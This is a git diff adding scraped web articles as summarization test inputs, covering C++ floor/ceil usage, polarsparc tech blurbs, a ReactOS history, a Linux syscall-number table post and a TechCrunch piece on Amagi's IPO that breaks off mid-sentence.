a/tests/summarization/https___nuancesprog.ru_p_31409_.txt b/tests/summarization/https___nuancesprog.ru_p_31409_.txt new file mode 100644 index 0000000..529bf4d --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_31409_.txt @@ -0,0 +1,2 @@ +Функции floor() и ceil() на C++ занимаются не только округлением чисел. Изучим их эффективное использование в реальных сценариях  —  от финансовых расчетов до разработки игр. Базовое применение floor() и ceil() Сначала посмотрим на эти функции в деле: #include #include void basic_examples() { double numbers[] = {3.7, -3.7, 0.0, -0.0, 3.0, -3.0}; for (double num : numbers) { std::cout << "Number: " << num << '\n' << "Floor: " << std::floor(num) << '\n' << "Ceil: " << std::ceil(num) << '\n' << "-------------------\n"; } } // Вывод: // Число: 3.7 // Пол: 3 // Потолок: 4 // ------------------- // Число: -3.7 // Пол: -4 // Потолок: -3 // ------------------- // ... и так далее Реальный пример: финансовые расчеты Вот как используются floor() и ceil() для финансового округления: class MoneyCalculator { public: // Округляется до цента static double round_currency(double amount) { return std::floor(amount * 100 + 0.5) / 100; } // Округляются вверх до цента, например комиссии static double ceil_currency(double amount) { return std::ceil(amount * 100) / 100; } // Округляются вниз до цента, например дисконт static double floor_currency(double amount) { return std::floor(amount * 100) / 100; } }; void financial_example() { double price = 19.999; double tax_rate = 0.08; // 8%-ный налог double tax = MoneyCalculator::ceil_currency(price * tax_rate); double final_price = MoneyCalculator::round_currency(price + tax); std::cout << "Original price: $" << price << '\n' << "Tax: $" << tax << '\n' << "Final price: $" << final_price << '\n'; } Разработка игр: сеточное позиционирование Вот как floor() и ceil() используются в сеточной игровой механике: struct Vector2D { double x, y; Vector2D(double x_, double y_) : x(x_), y(y_) {} }; class GridSystem { public: static constexpr double CELL_SIZE = 64.0; // пиксели static Vector2D world_to_grid(const Vector2D& world_pos) { return Vector2D( std::floor(world_pos.x / CELL_SIZE), std::floor(world_pos.y / CELL_SIZE) ); } static Vector2D grid_to_world(const Vector2D& grid_pos) { return Vector2D( grid_pos.x * CELL_SIZE, grid_pos.y * CELL_SIZE ); } static Vector2D snap_to_grid(const Vector2D& world_pos) { Vector2D grid_pos = world_to_grid(world_pos); return grid_to_world(grid_pos); } }; void game_example() { Vector2D player_pos(123.45, 67.89); Vector2D grid_pos = GridSystem::world_to_grid(player_pos); Vector2D snapped_pos = GridSystem::snap_to_grid(player_pos); std::cout << "Player position: (" << player_pos.x << ", " << player_pos.y << ")\n" << "Grid position: (" << grid_pos.x << ", " << grid_pos.y << ")\n" << "Snapped position: (" << snapped_pos.x << ", " << snapped_pos.y << ")\n"; } Пользовательские функции округления Вот набор полезных утилит округления: class RoundingUtils { public: // Округляются до ближайшего кратного static double round_to_multiple(double value, double multiple) { return std::floor(value / multiple + 0.5) * multiple; } // Округляются вверх до ближайшего кратного static double ceil_to_multiple(double value, double multiple) { return std::ceil(value / multiple) * multiple; } // Округляются вниз до ближайшего кратного static double floor_to_multiple(double value, double multiple) { return std::floor(value / multiple) * multiple; } // Округляются до указанных знаков после запятой static double round_to_decimal(double value, int decimal_places) { double multiplier = std::pow(10.0, decimal_places); return std::floor(value * multiplier + 0.5) / multiplier; } }; void demonstrate_rounding() { double value = 47.123; std::cout << "Original value: " << value << '\n' << "Rounded to nearest 5: " << RoundingUtils::round_to_multiple(value, 5.0) << '\n' << "Ceiling to nearest 5: " << RoundingUtils::ceil_to_multiple(value, 5.0) << '\n' << "Floor to nearest 5: " << RoundingUtils::floor_to_multiple(value, 5.0) << '\n' << "Rounded to 2 decimals: " << RoundingUtils::round_to_decimal(value, 2) << '\n'; } Пример распределения ресурсов Вот как при помощи ceil() рассчитывается выделение памяти: class ResourceAllocator { public: static constexpr size_t BLOCK_SIZE = 4096; // Блоки 4 Кб static size_t calculate_blocks_needed(size_t bytes) { return static_cast(std::ceil(static_cast(bytes) / BLOCK_SIZE)); } static size_t calculate_allocation_size(size_t bytes) { return calculate_blocks_needed(bytes) * BLOCK_SIZE; } static void print_allocation_info(size_t requested_bytes) { size_t blocks = calculate_blocks_needed(requested_bytes); size_t actual_bytes = calculate_allocation_size(requested_bytes); std::cout << "Requested: " << requested_bytes << " bytes\n" << "Blocks needed: " << blocks << '\n' << "Actual allocation: " << actual_bytes << " bytes\n" << "Wasted space: " << actual_bytes - requested_bytes << " bytes\n"; } }; void allocation_example() { ResourceAllocator::print_allocation_info(6000); // Больше, чем один блок ResourceAllocator::print_allocation_info(2048); // Меньше, чем один блок } Работа с временными интервалами А так floor() и ceil() справляются с вычислениями времени: class TimeCalculator { public: static constexpr int SECONDS_PER_MINUTE = 60; static constexpr int SECONDS_PER_HOUR = 3600; static int ceil_minutes(double seconds) { return static_cast(std::ceil(seconds / SECONDS_PER_MINUTE)); } static int floor_minutes(double seconds) { return static_cast(std::floor(seconds / SECONDS_PER_MINUTE)); } static std::string format_time_range(double seconds) { int min_minutes = floor_minutes(seconds); int max_minutes = ceil_minutes(seconds); if (min_minutes == max_minutes) { return std::to_string(min_minutes) + " minutes"; } return std::to_string(min_minutes) + "-" + std::to_string(max_minutes) + " minutes"; } static int calculate_billing_units(double hours, double unit_size = 0.25) { return static_cast(std::ceil(hours / unit_size)); } }; void time_example() { double task_duration = 127.5; // секунды std::cout << "Task will take: " << TimeCalculator::format_time_range(task_duration) << '\n'; double meeting_hours = 1.6; // один час 36 минут int billing_units = TimeCalculator::calculate_billing_units(meeting_hours); std::cout << "Billable units (15-minute intervals): " << billing_units << '\n'; } Типичные проблемы и их решения Проблемы точности вычислений с плавающей точкой: double value = 2.0; // Не делайте этого: if (std::floor(value) == value) { // Не выполнится из-за точности std::cout << "Integer value\n"; } // Делайте так: const double epsilon = 1e-10; if (std::abs(std::floor(value) - value) < epsilon) { std::cout << "Integer value\n"; } 2. Целочисленное переполнение при приведении типов: class SafeRounding { public: static int safe_floor(double value) { if (value > std::numeric_limits::max() || value < std::numeric_limits::min()) { throw std::overflow_error("Value out of integer range"); } return static_cast(std::floor(value)); } }; Не забывайте, что floor() и ceil() предназначены для типов с плавающей точкой float, double, long double. Для целочисленных типов эти операции излишни, поскольку целые числа уже «округлены» по определению. Читайте также: C++: полное руководство по вставке в векторах C++: полное руководство по std::stoi C++: полное руководство по динамическим массивам Читайте нас в Telegram, VK и Дзен Перевод статьи ryan: Floor and Ceil Functions in C++: Complete Guide +============== diff --git a/tests/summarization/https___polarsparc.com_2025_05_31_open-webui_.txt b/tests/summarization/https___polarsparc.com_2025_05_31_open-webui_.txt new file mode 100644 index 0000000..5d2cff2 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_05_31_open-webui_.txt @@ -0,0 +1,2 @@ +Updated: 05/31/2025 In this primer, we will provide an overview of the Open WebUI platform as well as get our hands dirty interacting with it, in combination with the Ollama platform. Here is the link to the article on Open WebUI: Quick Primer on Open WebUI with Ollama Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_06_15_langchain-recipes_.txt b/tests/summarization/https___polarsparc.com_2025_06_15_langchain-recipes_.txt new file mode 100644 index 0000000..e802e6d --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_06_15_langchain-recipes_.txt @@ -0,0 +1,2 @@ +Updated: 06/15/2025 In this article, we will provide code snippets for commonly performed tasks using the popular LLM framework LangChain. Here is the link to the article on common LangChain recipes: Common LangChain Recipes Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_06_15_langchain_.txt b/tests/summarization/https___polarsparc.com_2025_06_15_langchain_.txt new file mode 100644 index 0000000..23fc768 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_06_15_langchain_.txt @@ -0,0 +1,2 @@ +Updated: 06/15/2025 In this primer, we will provide an overview of the popular LLM framework LangChain AND get our hands dirty with some code samples on the various core components. Here is the link to the article on LangChain: Quick Primer on LangChain Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_06_21_pragmatic-spring-ai_.txt b/tests/summarization/https___polarsparc.com_2025_06_21_pragmatic-spring-ai_.txt new file mode 100644 index 0000000..d663397 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_06_21_pragmatic-spring-ai_.txt @@ -0,0 +1,2 @@ +In this article, we will provide an overview of the Spring AI framework that went GA in May 2025 and get our hands dirty with some code samples on the various core capabilities of the framework in combination with Spring Boot. Here is the link to the article on Spring AI: Pragmatic Bytes on Spring AI Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_06_29_llama-cpp_.txt b/tests/summarization/https___polarsparc.com_2025_06_29_llama-cpp_.txt new file mode 100644 index 0000000..a1502b8 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_06_29_llama-cpp_.txt @@ -0,0 +1,2 @@ +In this primer, we will provide an overview of the llama.cpp inference platform and get our hands dirty in using it. We will use the Langchain OpenAI module in Python to test the platform. Here is the link to the article on llama.cpp: Quick Primer on llama.cpp Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_07_04_hyperledger-besu-docker_.txt b/tests/summarization/https___polarsparc.com_2025_07_04_hyperledger-besu-docker_.txt new file mode 100644 index 0000000..67b7d92 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_07_04_hyperledger-besu-docker_.txt @@ -0,0 +1,2 @@ +Updated: 07/04/2025 In this article, we will explore the use of Hyperledger Besu (an open source Ethereum client built for the Enterprises). We will demonstrate how to setup and test a multi-node private Blockchain network using Hyperledger Besu in Docker containers. Here is the link to the article: Hyperledger Besu Private Network using Docker Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_07_05_docker-model-runner_.txt b/tests/summarization/https___polarsparc.com_2025_07_05_docker-model-runner_.txt new file mode 100644 index 0000000..bd9e318 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_07_05_docker-model-runner_.txt @@ -0,0 +1,2 @@ +In this article, we will introduce how on can get their hands dirty in using the Docker Model Runner. Here is the link to the article: Quick Bytes on Docker Model Runner Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_07_12_cross-entropy_.txt b/tests/summarization/https___polarsparc.com_2025_07_12_cross-entropy_.txt new file mode 100644 index 0000000..479c354 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_07_12_cross-entropy_.txt @@ -0,0 +1,2 @@ +In this article, we will develop an intuition for the Cross Entropy loss function that is often used for AI/ML Classification tasks during model training. Here is the link to the article: Understanding Cross Entropy Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_07_19_anvil-solidity-python_.txt b/tests/summarization/https___polarsparc.com_2025_07_19_anvil-solidity-python_.txt new file mode 100644 index 0000000..f5d2b54 --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_07_19_anvil-solidity-python_.txt @@ -0,0 +1,2 @@ +Updated: 07/19/2025 Note that as of 2023, the local Ethereum development environment Ganache (part of TruffleSuite) has been sunset. In this updated article, we will show how to setup a local Ethereum development environment using Anvil (part of the Foundry toolchain) and Solidity for building, deploying, and testing Decentralized Application (dApps) and follow through with a simple demonstration using Python. Here is the link to the article: Using Anvil and Solidity with Python Enjoy 🙂 !!! +============== diff --git a/tests/summarization/https___polarsparc.com_2025_08_01_polarsparc-retire_.txt b/tests/summarization/https___polarsparc.com_2025_08_01_polarsparc-retire_.txt new file mode 100644 index 0000000..7ac031d --- /dev/null +++ b/tests/summarization/https___polarsparc.com_2025_08_01_polarsparc-retire_.txt @@ -0,0 +1,2 @@ +!!! ATTENTION !!! The domain polarsparc.com will be RETIRED and going OFFLINE in early Oct 2025. The most of the relevant content of about 300 articles have been migrated over to Github Pages at polarsparc.github.io !!! Going forward, please feel free to visit the above mentioned Github Pages site for newer content !!! +============== diff --git a/tests/summarization/https___reactos.org_blogs_30yrs-of-ros_.txt b/tests/summarization/https___reactos.org_blogs_30yrs-of-ros_.txt new file mode 100644 index 0000000..243060f --- /dev/null +++ b/tests/summarization/https___reactos.org_blogs_30yrs-of-ros_.txt @@ -0,0 +1,2 @@ +30 years of ReactOS - go to homepage Toggle Navigation About What is ReactOS? Gallery FAQ News All News Project News Blog Posts Community Chat Forum Shop Development Architecture Building ReactOS Contributing Download ReactOS Builds Jira ReactOS on GitHub Report a Bug Testman Wiki Work for ReactOS Donate Download 30 years of ReactOS - go to homepage Toggle Navigation About What is ReactOS? Gallery FAQ News All News Project News Blog Posts Community Chat Forum Shop Development Architecture Building ReactOS Contributing Download ReactOS Builds Jira ReactOS on GitHub Report a Bug Testman Wiki Work for ReactOS Donate Download home / blogs / 30yrs-of-ros 30 years of ReactOS by Carl Bialorucki | January 22, 2026 Happy Birthday ReactOS! Today marks 30 years since the first commit to the ReactOS source tree. It’s been such a long journey that many of our contributors today, including myself, were not alive during this event. Yet our mission to deliver “your favorite Windows apps and drivers in an open-source environment you can trust” continues to bring people together. Let’s take a brief look at some of the high and low points throughout our history. 1996-2003: The Painful Road to ReactOS 0.1.0 ReactOS started from the ashes of the FreeWin95 project, which aimed to provide a free and open-source clone of Windows 95. FreeWin95 suffered from analysis paralysis, attempting to plan the whole system before writing any code. Tired of the lack of progress on the project, Jason Filby took the reins as project coordinator and led a new effort targeting Windows NT. The project was renamed to “ReactOS” as it was a reaction to Microsoft’s monopolistic position in home computer operating systems. Progress on ReactOS was very slow at first. Contributors had to first build a very basic NT-like kernel before they could develop drivers for it, then continue developing the kernel; not too dissimilar to the process of bootstrapping a new programming language. Once a few basic drivers were written, other contributors were able to learn from these examples and develop other drivers. While writing this article, I reached out to Eric Kohl. He developed the original storage driver stack for ReactOS (atapi, scsiport, class2, disk, cdrom, cdfs) and has been with the project since 1998. I asked him about his experiences with ReactOS during this time, how he found the project, and what contributing to ReactOS was like during those early days. He wrote: I think I found ReactOS while searching for example code for my contributions to the WINE project. I subscribed to the mailing list and followed the discussions for a few days. The developers were discussing the future of shell.exe, a little command line interpreter that could only change drives and directories and execute programs. A few days [later] I had started to convert the FreeDOS command.com into a Win32 console application, because I wanted to extend it to make it 4DOS compatible. 4DOS was a very powerful command line interpreter. On December 4th, 1998 I introduced myself and suggested to use my converted FreeDOS command.com as the future ReactOS cmd.exe. I had a little conversation with Jason Filby and Rex Joliff, the CVS repository maintainer. I sent my cmd.exe code to Rex and he applied it to the repository. After applying a few more cmd-related patches over the next weeks, Rex asked me whether I would like to have write-access to the repository. I accepted the offer… … The first version I downloaded and used was 0.0.8. It was not much more than a DOS-based bootloader, some drivers, and a basic kernel that ran a few test routines after initialization. … Version 0.0.8 didn’t use PE files, but flat (position independent) binaries. There was no PE loader, no smss, no csrss, no winlogon, no process heaps, no process environments, no threads, etc. Each and every little feature was a milestone. … Initially there was not a review process at all. You write some code, test it and fix it until it works. Then you commit it. If something failed on another machine, you got a reply on the mailing list and discussed a solution. You fixed the issue and committed a fix. That’s how it worked. … There was always an open and friendly atmosphere. It was and still is always nice to talk to other developers. No fights, no wars, like in some other projects. Editors note: minor errors were corrected. ReactOS 0.1.0 was released on February 1st, 2003 and received minor updates up until November 2003. ReactOS 0.1.0 was the first version of ReactOS that could boot from a CD. It had a command line interface and no desktop. Watch a demo of it below, provided courtesy of archeYR. 2003-2006: ReactOS 0.2.x During this period ReactOS saw rapid development. New drivers were being built all the time, a basic desktop was built, and ReactOS became increasingly stable and usable. Public interest grew as ReactOS matured. In October 2005, Jason Filby stepped down as project coordinator, and Steven Edwards was voted to be the next project coordinator. ReactOS 0.2.x boot screen ReactOS 0.2.x desktop and file explorer ReactOS 0.2.0 with VMware video driver for NT 4 It wasn’t all sunshine and rainbows though. In January 2006, concerns grew about contributors having access to leaked Windows source code and possibly using this leaked source code in their contributions. In response, Steven Edwards strengthened the project’s intellectual property policy and the project made the difficult decision to audit the existing source code and temporarily freeze contributions. 2006-2016: ReactOS 0.3.x The ongoing audit and contribution freeze from the end of the ReactOS 0.2.x era slowed development and momentum considerably for ReactOS 0.3.x. Following challenges with the audit, Steven Edwards stepped down as project coordinator and Aleksey Bragin assumed the role by August 2006. Despite the challenges during this time, ReactOS 0.3.x continued to build upon ReactOS’s legacy. ReactOS 0.3.0 was released on August 28th, 2006. It introduced networking support and a package manager called “Download!”. This package manager would become the basis for RAPPS, the package manager built into modern versions of ReactOS. In July 2008, the x86_64 port of ReactOS was started. One year later, ReactOS 0.3.10 imported the UniATA driver, written by Alexandr Telyatnikov (Alter). While we run into limitations with the UniATA driver today, UniATA enabled ReactOS to support SATA storage devices and to support partitions greater than 8GB in size. On February 8th, 2012, ReactOS 0.3.14 supported being built using the MSVC compiler and added visual style support. ReactOS 0.3.x desktop Download!, the package manager for ReactOS 0.3.x 2016-Today: ReactOS 0.4.x ReactOS 0.4.0 was released on February 16th, 2016. It introduced a new graphical shell that utilized more Windows features and was more similar architecturally to Windows Explorer. ReactOS 0.4.0 also introduced support for kernel debugging using WinDbg when compiled with MSVC. Being able to use standard Windows tools for kernel debugging has helped us progress considerably. ReactOS 0.4.0 continued to receive incremental updates every few months up until versions 0.4.14 and 0.4.15 which had years of development updates each. Today, the x86_64 port of ReactOS is similarly functional to its x86 counterpart, but with no WoW64 subsystem to run x86 apps its usability is limited. A humorous diagram made in 2015 to explain the complexity of Windows Explorer ReactOS 0.4.15 desktop, shown with Luna visual style and large taskbar icons applied The Future of ReactOS We’re continuing to move ReactOS forward. Behind the scenes there are several out-of-tree projects in development. Some of these exciting projects include a new build environment for developers (RosBE), a new NTFS driver, a new ATA driver, multi-processor (SMP) support, support for class 3 UEFI systems, kernel and usermode address space layout randomization (ASLR), and support for modern GPU drivers built on WDDM. The future of ReactOS will be written by the people who believe in the mission and are willing to help carry it forward. If you believe in running “your favorite Windows apps and drivers in an open-source environment you can trust”, you can help make that a reality by making a financial contribution, opening a pull request on GitHub, or testing and filing bug reports. Even small contributions can help a lot! Statistics Note: Statistics were calculated at commit f60b1c9 Total commits: 88,198 Total unique contributors: 301 Total files: 31,025 Total lines of code: 14,929,578 © 1996-2026 ReactOS Team & Contributors Improve this page Legal +============== diff --git a/tests/summarization/https___t-cadet.github.io_programming-wisdom__2026-01-17-gathering-linux-syscall-numbers.txt b/tests/summarization/https___t-cadet.github.io_programming-wisdom__2026-01-17-gathering-linux-syscall-numbers.txt new file mode 100644 index 0000000..234e900 --- /dev/null +++ b/tests/summarization/https___t-cadet.github.io_programming-wisdom__2026-01-17-gathering-linux-syscall-numbers.txt @@ -0,0 +1,80 @@ +Programming Wisdom ⚙️ 3 of 3 shown Date Update People Title Topics 2026-01-17 2026-01-17 @op Gathering Linux Syscall Numbers in a C Table #linux #syscalls #c 2025-09-18 2025-09-18 @cmuratori Wise Commenting #wisdom #comments #handmade hero 2025-09-14 2025-09-14 @op Hello, World! #lore 2026-01-17 Gathering Linux Syscall Numbers in a C Table 2025-09-18 Wise Commenting 2025-09-14 Hello, World! Gathering Linux Syscall Numbers in a C Table 2026-01-17 @op #linux #syscalls #c I've been trying to program without libc, and on Linux that means calling syscalls directly. Syscalls are the lowest userland layer; they are basically the ground of the Linux userland. In an ideal world, there would be a header-only C library provided by the Linux kernel; we would include that file and be done with it. As it turns out, there is no such file, and interfacing with syscalls is complicated. Syscalls are special; to syscall, one has to put the syscall number in a register, the arguments in other registers, and issue an assembly instruction. Okay, that said, how hard can it be to create my own header-only syscall library? First things first: I need to get all the syscall numbers. My Linux syscall table. Organized thematically for browsing. Valid C code, cross-architecture. /*╔════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ +/*║ LINUX SYSCALL TABLE ║ +/*╠════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╣ +/*║ Section List ║ +/*╟────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╢ +/*║ 1. PROCESS & THREAD LIFECYCLE 11. SIGNALS 21. NAMESPACES & CONTAINERS ║ +/*║ 2. PROCESS ATTRIBUTES & CONTROL 12. PIPES & FIFOs 22. PROCESS INSPECTION & CONTROL ║ +/*║ 3. SCHEDULING & PRIORITIES 13. INTER-PROCESS COMMUNICATION 23. SYSTEM INFORMATION ║ +/*║ 4. MEMORY MANAGEMENT 14. SOCKETS & NETWORKING 24. KERNEL MODULES ║ +/*║ 5. FILE I/O OPERATIONS 15. ASYNCHRONOUS I/O 25. SYSTEM CONTROL & ADMINISTRATION ║ +/*║ 6. FILE DESCRIPTOR MANAGEMENT 16. TIME & CLOCKS 26. PERFORMANCE MONITORING & TRACING ║ +/*║ 7. FILE METADATA 17. RANDOM NUMBERS 27. DEVICE & HARDWARE ACCESS ║ +/*║ 8. DIRECTORY & NAMESPACE OPERATIONS 18. USER & GROUP IDENTITY 28. ARCHITECTURE-SPECIFIC OPERATIONS ║ +/*║ 9. FILE SYSTEM OPERATIONS 19. CAPABILITIES & SECURITY 29. ADVANCED EXECUTION CONTROL ║ +/*║ 10. FILE SYSTEM MONITORING 20. RESOURCE LIMITS & ACCOUNTING 30. LEGACY, OBSOLETE & UNIMPLEMENTED ║ +/*╠════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╣ +/*║ 1. PROCESS & THREAD LIFECYCLE ║ +/*║ Creation, execution, termination, and reaping of processes/threads ║ +/*╠════════════════════════════════════════════════════════╦═════════╤═════════╤═════════╤═════════╤═════════╤═════════════╣ +/*║ Syscall Name ║ x86_64 │ arm64 │ riscv64 │ x86_32 │ arm32 │ riscv32 ║ +/*╟────────────────────────────────────────────────────────╨─────────┴─────────┴─────────┴─────────┴─────────┴─────────────╢ +/*║*/ #define NR_fork_linux BY_ARCH( 57, void, void, 2, 2, void) //║ +/*║*/ #define NR_vfork_linux BY_ARCH( 58, void, void, 190, 190, void) //║ +/*║*/ #define NR_clone_linux BY_ARCH( 56, 220, 220, 120, 120, 220) //║ +/*║*/ #define NR_clone3_linux BY_ARCH( 435, 435, 435, 435, 435, 435) //║ +/*║*/ #define NR_execve_linux BY_ARCH( 59, 221, 221, 11, 11, 221) //║ +/*║*/ #define NR_execveat_linux BY_ARCH( 322, 281, 281, 358, 387, 281) //║ +/*║*/ #define NR_exit_linux BY_ARCH( 60, 93, 93, 1, 1, 93) //║ +/*║*/ #define NR_exit_group_linux BY_ARCH( 231, 94, 94, 252, 248, 94) //║ +/*║*/ #define NR_wait4_linux BY_ARCH( 61, 260, 260, 114, 114, void) //║ +/*║*/ #define NR_waitid_linux BY_ARCH( 247, 95, 95, 284, 280, 95) //║ +/*║*/ #define NR_waitpid_linux BY_ARCH( void, void, void, 7, void, void) //║ +/*╠════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╣ Full table available at: https://github.com/t-cadet/c/blob/main/linux.h (Note: I am still early in my exploration of raw syscalls; there may be inaccuracies or other mistakes.) To my surprise, gathering Linux syscall numbers is a rather tortuous process. I started my journey by googling "linux syscall numbers" with the following results:1 Searchable Linux Syscall Table for x86_64 Chromium OS Docs - Linux System Call Table Linux kernel system calls for all architectures You may notice that all the search results are third-party. Is it a matter of going directly to the kernel docs website? I tried, but found nothing very relevant to gathering syscall numbers on the kernel docs website, nor in the manual. Okay, so back to third-party results. The syscall tables they provide look promising, until I notice something amiss: there are multiple tables, each with different syscall numbers. What's going on there? Sure enough, the Chromium link has a stark warning: [Syscall numbers] vary significantly across architectures/ABIs, both in mappings and in actual name. Really? Different syscall numbers on different architectures? I had to cross-check various resources to convince myself that this is not an artifact introduced by third-party resources. It is not: the answer on this Stack Exchange question suggests that at least for the discrepancies between x86 32 and 64 bits, it is a matter of cacheline usage optimization. For other architectures, AI suggests that in the 90s architecture ports (like Alpha, MIPS, or SPARC) ignored Linus' original x86 numbering and instead copied the syscall tables of proprietary Unixes (like OSF/1, IRIX, or Solaris) to allow them to run those non-Linux binaries natively (but I could not find any source to corroborate these AI claims). Anyway, after a detour through the libc syscall tables (musl, glibc): $ head -n 10 musl/arch/arm/bits/syscall.h.in #define __NR_restart_syscall 0 +#define __NR_exit 1 +#define __NR_fork 2 +#define __NR_read 3 +#define __NR_write 4 +#define __NR_open 5 +#define __NR_close 6 +#define __NR_creat 8 +#define __NR_link 9 +#define __NR_unlink 10 I ended up finding the primary source in the kernel: .tbl files $ find linux/arch -name *.tbl linux/arch/microblaze/kernel/syscalls/syscall.tbl +linux/arch/sparc/kernel/syscalls/syscall.tbl +linux/arch/x86/entry/syscalls/syscall_64.tbl +linux/arch/x86/entry/syscalls/syscall_32.tbl +linux/arch/xtensa/kernel/syscalls/syscall.tbl +linux/arch/m68k/kernel/syscalls/syscall.tbl +linux/arch/sh/kernel/syscalls/syscall.tbl +linux/arch/mips/kernel/syscalls/syscall_n64.tbl +linux/arch/mips/kernel/syscalls/syscall_n32.tbl +linux/arch/mips/kernel/syscalls/syscall_o32.tbl +linux/arch/s390/kernel/syscalls/syscall.tbl +linux/arch/arm64/tools/syscall_64.tbl +linux/arch/arm64/tools/syscall_32.tbl +linux/arch/alpha/kernel/syscalls/syscall.tbl +linux/arch/arm/tools/syscall.tbl +linux/arch/parisc/kernel/syscalls/syscall.tbl +linux/arch/powerpc/kernel/syscalls/syscall.tbl This is basically a tab-separated table format, but the optional columns, occasional space instead of tab, legacy ABIs, and duplicated legacy syscalls make it messy to parse: $ head -n22 linux/arch/x86/entry/syscalls/syscall_64.tbl # SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note +# +# 64-bit system call numbers and entry vectors +# +# The format is: +# [ [noreturn]] +# +# The __x64_sys_*() stubs are created on-the-fly for sys_*() system calls +# +# The abi is "common", "64" or "x32" for this file. +# +0 common read sys_read +1 common write sys_write +2 common open sys_open +3 common close sys_close +4 common stat sys_newstat +5 common fstat sys_newfstat +6 common lstat sys_newlstat +7 common poll sys_poll +8 common lseek sys_lseek +9 common mmap sys_mmap +10 common mprotect sys_mprotect Also, there are no .tbl files for RISC-V 32 and 64 bits.2 If I understand correctly, the RISC-V tables are generated from a stock list based on x86 numbering with various #defines that enable or disable some syscalls. Since I do not know the right combination of #defines, I went back to glibc and used their RISC-V files; it seemed safer. With all the files thus gathered, I could finally parse them with a C script and generate my own implementation of a syscall number table, of which you saw a snippet earlier in the article. The decision of what syscall goes to what section was largely left to an AI, peppered with some of my nitpicks, which seems to have worked out well thanks to the AI's encyclopedic knowledge of all syscalls. For reference, here is the only taxonomy that a search for "linux syscall taxonomy" turns up. I ran into one last complication: not all architectures implement all syscalls, and so some syscall numbers are missing. That was pretty surprising: I was expecting a unified interface across all architectures, with perhaps one or two architecture-specific syscalls to access architecture-specific capabilities; but Linux syscalls are more like Swiss cheese. So I encoded these holes as void in my table to break compilation if they are ever used on the wrong architecture. ➜ Next time: implementing syscall wrappers in C. Footnotes I have since found another 3rd party syscall table that appears more reliable. Great effort went into generating it, as the description of the systrack tool by its author on its Hacker News post attests: I am using static analysis of kernel images (vmlinux ELF) that are built with debug information. Each table you see was extracted from a kernel built by my tool, Systrack, that can configure and build kernels that have all the syscalls available. The code is heavily commented and available on GitHub if you are interested: https://github.com/mebeim/systrack I realized soon in the process that simply looking at kernel sources was not enough to extract everything accurately, especially definition locations. I also wanted this to be a tool to extract syscalls actually implemented from a given kernel image, so that's what it does. ↩ I later found out that the kernel sources contain a generic scripts/syscall.tbl file: "modern" architectures such as RISC-V have a Makefile that lists the relevant ABIs for the architecture, and calls a shell script to filter the table. The Makefile and the script were pretty complicated, so I ended up parsing the generic .tbl file and doing the filtering myself, thus not relying on glibc for syscall numbers. ↩ Theme Settings Font Size 1x Accent Background Reset to Defaults +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_amagi-slides-in-india-debut-as-cloud-tv-software-firm-tests-investor-appetite_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_amagi-slides-in-india-debut-as-cloud-tv-software-firm-tests-investor-appetite_.txt new file mode 100644 index 0000000..8604655 --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_amagi-slides-in-india-debut-as-cloud-tv-software-firm-tests-investor-appetite_.txt @@ -0,0 +1,2 @@ +Amagi Media Labs, a Bengaluru-headquartered company that sells cloud software used to run and monetize TV and streaming channels, saw its shares slide in its India market debut after raising ₹17.89 billion (about $196 million) in an IPO — a deal that stands out in a market still dominated by consumer companies going public. Shares opened at ₹318 on Wednesday, a 12% discount to the ₹361 issue price, before climbing to ₹356.95 and later trading around ₹348.85, valuing Amagi at ₹75.44 billion (around $825.81 million), according to the National Stock Exchange. Amagi was last valued at $1.4 billion in a private funding round in November 2022, after a $100 million raise led by General Atlantic, and investors sought to buy more than 30 times the available shares. The Bengaluru-headquartered company sells cloud software that helps TV networks and streaming services distribute and monetize video, and earns almost all of its revenue outside India — including around 73% from the U.S. and about 20% from Europe — CEO and co-founder Baskar Subramanian said in an interview, making it a rare export-first technology listing on Indian exchanges. The $196 million IPO included a fresh issue of shares worth ₹8.16 billion (about $89.33 million), while existing investors sold about 26.9 million shares through an offer-for-sale. The deal was smaller than Amagi’s earlier plan, after the company trimmed the fresh issue and reduced the number of shares to be sold by existing backers from 34.2 million. Norwest Venture Partners, Accel, and Premji Invest were among Amagi’s existing shareholders who sold shares in the IPO. Subramanian told TechCrunch the sales were only a “very small portion” of holdings, and said the company’s founders were not selling a single share. “For us as an event, it’s a pit stop in a long journey,” he said. Accel has particularly retained close to a 10% stake in Amagi after the IPO, even as the listing locks in a roughly 3.3x gain on shares it acquired at around ₹108 per share. “To make the IPO, we are reluctantly exiting as little as possible to make this happen,” said Shekhar Kirani, an Accel partner. Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, 